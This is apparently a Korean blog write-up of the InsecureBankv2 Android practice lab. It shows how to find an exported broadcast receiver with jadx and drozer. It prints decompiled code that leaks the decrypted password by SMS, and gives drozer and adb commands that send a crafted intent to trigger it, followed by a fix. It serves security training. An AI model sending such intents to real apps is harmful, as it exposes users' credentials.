R136A1
[InsecureBank] 1. Flawed Broadcast Receivers 본문
안드로이드 4대 구성요소
Activity, Service, Content Provider, Broadcast Receiver
drozer에서attacksurface를 통해 취약한 곳을 확인하면 4대 구성요소에 있는 취약점 개수가 출력된다.
Broadcast Receiver: 안드로이드 디바이스에서 이벤트가 발생할 때 보내는 "브로드 캐스트 신호(intent)"를 받아 처리함
사용하기 위해서는 AndroidManifest.xml에 별도로 Receiver를 선언해야 한다.
<receiver android:name="브로드캐스트 리시버이름" android:exported="외부에서 보내는 intent 수신 여부">
<intent-filter>
<action android:name="이벤트 생성자명"/>
</intent-filter>
</receiver>
직접 점검하기
xml을 보기 위해 jadx-gui에 apk 파일을 올린다
Insecurebank에서 receiver는 2개 선언되어 있다.
위에 있는 com.android.insecurebankv2.MyBroadCastReceiver를 주목해보면,
android:exported가 true로 설정되어 있어서 어플리케이션 외부에서도 intent를 받을 수 있다.
theBroadcast에서 발생하는 intent를 받는다.
→ 브로드캐스트로 설정된 theBraodcast에서 액션이 발생하면 MyBroadCastRecevier에 설정된 작업이 실행된다.
+ 밑에 있는 google.android.gms.wallet.EnableWalletOptimizationReceiver의 경우
이름에서도 알 수 있듯이 본 프로그램이 아닌 google.android에 종속된 receiver이다.
또한 android:exported 속성 또한 false이기때문에 외부에선 접근이 불가능하다.
drozer로 점검하기
1. 패키지명 확인하기
run app.package.list -f InsecureBankv2
=> com.android.insecurebankv2
2. 전체 취약점 보기
1개의 broadcast receiver가 취약한다 (exported하여 외부에서 접근 가능하다)
3. 취약한 브로드캐스트 확인하기
run app.broadcast.info -a com.android.insecurebankv2
MyBroadCastReceiver 분석하기
Bytecode Viewer에서 위에서 찾은 패키지 명에 따라 com > android > insecurebankv2에 가서 파일찾기
package com.android.insecurebankv2;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.util.Base64;
import java.io.PrintStream;
public class MyBroadCastReceiver extends BroadcastReceiver {
public static final String MYPREFS = "mySharedPreferences";
String usernameBase64ByteString;
public void onReceive(Context var1, Intent var2) {
String var3 = var2.getStringExtra("phonenumber");
String var10 = var2.getStringExtra("newpass");
if (var3 != null) {
try {
SharedPreferences var7 = var1.getSharedPreferences("mySharedPreferences", 1);
byte[] var4 = Base64.decode(var7.getString("EncryptedUsername", (String)null), 0);
String var5 = new String(var4, "UTF-8");
this.usernameBase64ByteString = var5;
String var13 = var7.getString("superSecurePassword", (String)null);
CryptoClass var8 = new CryptoClass();
var13 = var8.aesDeccryptedString(var13);
String var9 = var3.toString();
StringBuilder var12 = new StringBuilder();
var5 = var12.append("Updated Password from: ").append(var13).append(" to: ").append(var10).toString();
SmsManager var11 = SmsManager.getDefault();
PrintStream var14 = System.out;
var12 = new StringBuilder();
var14.println(var12.append("For the changepassword - phonenumber: ").append(var9).append(" password is: ").append(var5).toString());
var11.sendTextMessage(var9, (String)null, var5, (PendingIntent)null, (PendingIntent)null);
} catch (Exception var6) {
var6.printStackTrace();
}
} else {
System.out.println("Phone number is null");
}
}
}
=> Receiver가 받는 Intent에는 phonenumber, newpss 2개가 있고, 아래 코드를 살펴보면 패스워드를 변경하는 행위를 한다.
+adb logcat 실행시켜놓기
Intent 전달하여 브로드캐스트 발생시키기
run app.broadcast.send --action [브로드캐스트명] --extra [자료형] [extra명] [값]
run app.broadcast.send --action theBroadcast --extra string phonenumber 12312 --extra string newpass Donkey!
또는
run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBraodCastReceiver --extra string phonenumber 12312 --extra string newpass Donkey!
또는
adb shell
am broadcast -n com.android.insecurebankv2/.MyBroadCastReceiver --es phonenumber "15555215554" --es newpass "Jack@123$"
뭐든 실행하면 Intent가 전달되어 아래와 같이 뜨고 Logcat에 평문 정보가 노출되어야하는데...
아무리 해도 제대로 전달이 안되는 것 같다;
대응방안
xml에 receiver를 정의할 때 android:exported 설정이 true로 설정되었기 때문에
외부에서 intent를 보내 broadcast receiver를 임의로 호출하는 것이 가능하다.
따라서 true 속성을 false로 변경한다.